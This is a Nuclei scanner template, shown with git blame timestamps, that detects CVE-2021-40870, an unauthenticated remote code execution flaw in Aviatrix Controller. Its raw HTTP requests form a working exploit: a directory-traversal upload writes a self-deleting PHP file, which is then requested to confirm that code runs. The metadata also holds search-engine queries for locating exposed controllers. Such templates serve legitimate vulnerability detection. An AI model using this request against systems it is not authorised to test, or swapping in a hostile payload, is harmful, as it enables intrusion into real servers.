nuclei-templates/http/cves/2021/CVE-2021-40870.yaml

60 lines
2.4 KiB
YAML
Raw Normal View History

2021-09-30 06:57:47 +00:00
id: CVE-2021-40870
info:
2023-05-04 18:30:13 +00:00
name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
2021-09-30 06:57:47 +00:00
author: pikpikcu
severity: critical
description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
2021-09-30 06:57:47 +00:00
reference:
- https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
2021-09-30 06:57:47 +00:00
- https://wearetradecraft.com/advisories/tc-2021-0002/
2021-09-30 10:20:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-40870
- http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-40870
2023-08-31 11:46:18 +00:00
cwe-id: CWE-23
2024-05-31 19:23:20 +00:00
epss-score: 0.91719
epss-percentile: 0.98896
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: aviatrix
product: controller
2024-05-31 19:23:20 +00:00
shodan-query: http.title:"aviatrix cloud controller"
fofa-query: title="aviatrix cloud controller"
google-query: intitle:"aviatrix cloud controller"
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,intrusive,packetstorm,rce,aviatrix,kev,fileupload
2024-04-15 11:26:37 +00:00
variables:
string: "CVE-2021-40870"
http:
2021-09-30 06:57:47 +00:00
- raw:
- |
POST /v1/backend1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2024-04-15 11:26:37 +00:00
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5("{{string}}");unlink(__FILE__);?>
2021-09-30 06:57:47 +00:00
- |
GET /v1/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
2024-04-15 11:26:37 +00:00
part: body_2
2021-09-30 06:57:47 +00:00
words:
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4a0a004730450220257c5d9d7cb617d8a133b3cfd6ed8590058baf0a198d28412a57a15510d6fab102210086a0b871ba6ae585267bfa7b19077aaeaeee17d006fc51b468fb20a68f1d21b3:922c64590222798bb761d5b6d8e72950